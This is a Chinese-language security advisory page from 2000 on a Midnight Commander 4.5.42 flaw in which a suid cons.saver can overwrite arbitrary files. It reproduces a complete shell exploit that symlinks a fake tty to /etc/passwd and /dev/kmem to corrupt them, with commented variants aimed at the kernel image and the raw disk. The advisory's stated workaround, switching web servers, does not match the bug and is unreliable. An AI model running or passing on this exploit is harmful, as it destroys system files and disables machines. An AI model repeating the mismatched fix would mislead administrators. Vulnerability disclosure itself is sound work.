首页 -> 安全研究

安全研究

安全漏洞
Midnight Commander cons.saver 覆盖任意文件漏洞

发布日期:2000-11-15
更新日期:2000-11-15

受影响系统:

Midnight Commander 4.5.42
描述:

Midnight Commander(mc)是一个Unix系统下的文件管理工具。mc 4.5.42所带的
一个控制台工具cons.saver存在一个安全漏洞。如果它被设置了suid root属性。
可能允许本地用户破坏文件系统上的任意文件。

这个程序的主参数是它将要使用的终端设备的路径名,当cons.saver打开指定文
件时,它会首先检查是否它是一个终端设备,如果不是,它忘记关闭这个文件描
述符。因此,如果用户在执行cons.saver之前就关闭标准输出的文件描述符,
cons.saver就会将一个空字节写入标准输出(现在实际上是用户指定打开的文件
)中。如果指定文件是一个符号链接,空字节就被写入所指向的文件中。
这可能导致一个本地的拒绝服务攻击。

RedHat 6.1/6.2所带的cons.saver中没有设置suid root属性,因此并不受此问
题影响。


<* 来源: Maurycy Prodeus (z33d@eth-security.net)  *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


#!/bin/sh
# *---------------------------------------------------------*
# Slaughterhouse ver. 1.0 by z33d@eth-security.net (C) 2000 |
# Bloody, Midnight DoS ;> with suid cons.saver
# Dedicated to my lovely mother.
# : Greetz
# * (...) Oczy niebieskie (...)
# - y3t1 - twe zyczenie jest dla mnie rozkazem :)
# - wroclaw's killers <=> dyziu, decker, kanedaa, otgpdvt, korie, viedzmin (...)
# - argante development team (lcamtuf,bulba,artur,marcin,bikappa,honey ...)
# - #sigsegv (funkysh, y3t1, cliph, detergent, kris, venglin ...)
# - sister of night
# - other ppl like mareczek, grubszy, karol, adam, wojtas, siebylnikov,
#   slodka Asia (...)                                       |
# *---------------------------------------------------------*

if [ -u /usr/lib/mc/bin/cons.saver ]; then
  echo "Zdarza sie."
else
  echo "Swoja matke przepros ..."
  exit 0
fi
cat >/tmp/rzeznia.c <<_eof_
#include <stdio.h>
#include <unistd.h>
main(){ close(0); close(1);
execl("/usr/lib/mc/bin/cons.saver","cons.saver","/tmp/tty13",NULL);
printf("To jakies fatalne nieporozumienie...\n");}
_eof_

gcc /tmp/rzeznia.c -o /tmp/rzeznia
rm -f /tmp/rzeznia.c

if [ -x /tmp/rzeznia ]; then
  echo "On naostrzyl juz noz ... mial rowek i trojkatny ksztalt"
else
  echo "ZZZZZZz Zyz yzyzyyzyzyzyzyyy y y . . ."
  exit 0
fi

ln -s /etc/passwd /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
ln -s /dev/kmem /tmp/tty13
/tmp/rzeznia
rm -f /tmp/tty13
# Uzyj w razie potrzeby ;>
# ln -s /boot/vmlinuz /tmp/tty13
# /tmp/rzeznia
# rm -f /tmp/tty13
# ln -s /dev/hda /tmp/tty13
# /tmp/rzeznia
echo "... "
echo "    he passed away"
rm -f /tmp/rzeznia


建议:

临时解决办法:

    NSFOCUS建议您暂时改用别的web服务器,或者自行修改代码增加边界检查。

厂商补丁:

    暂无。

浏览次数:5335
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障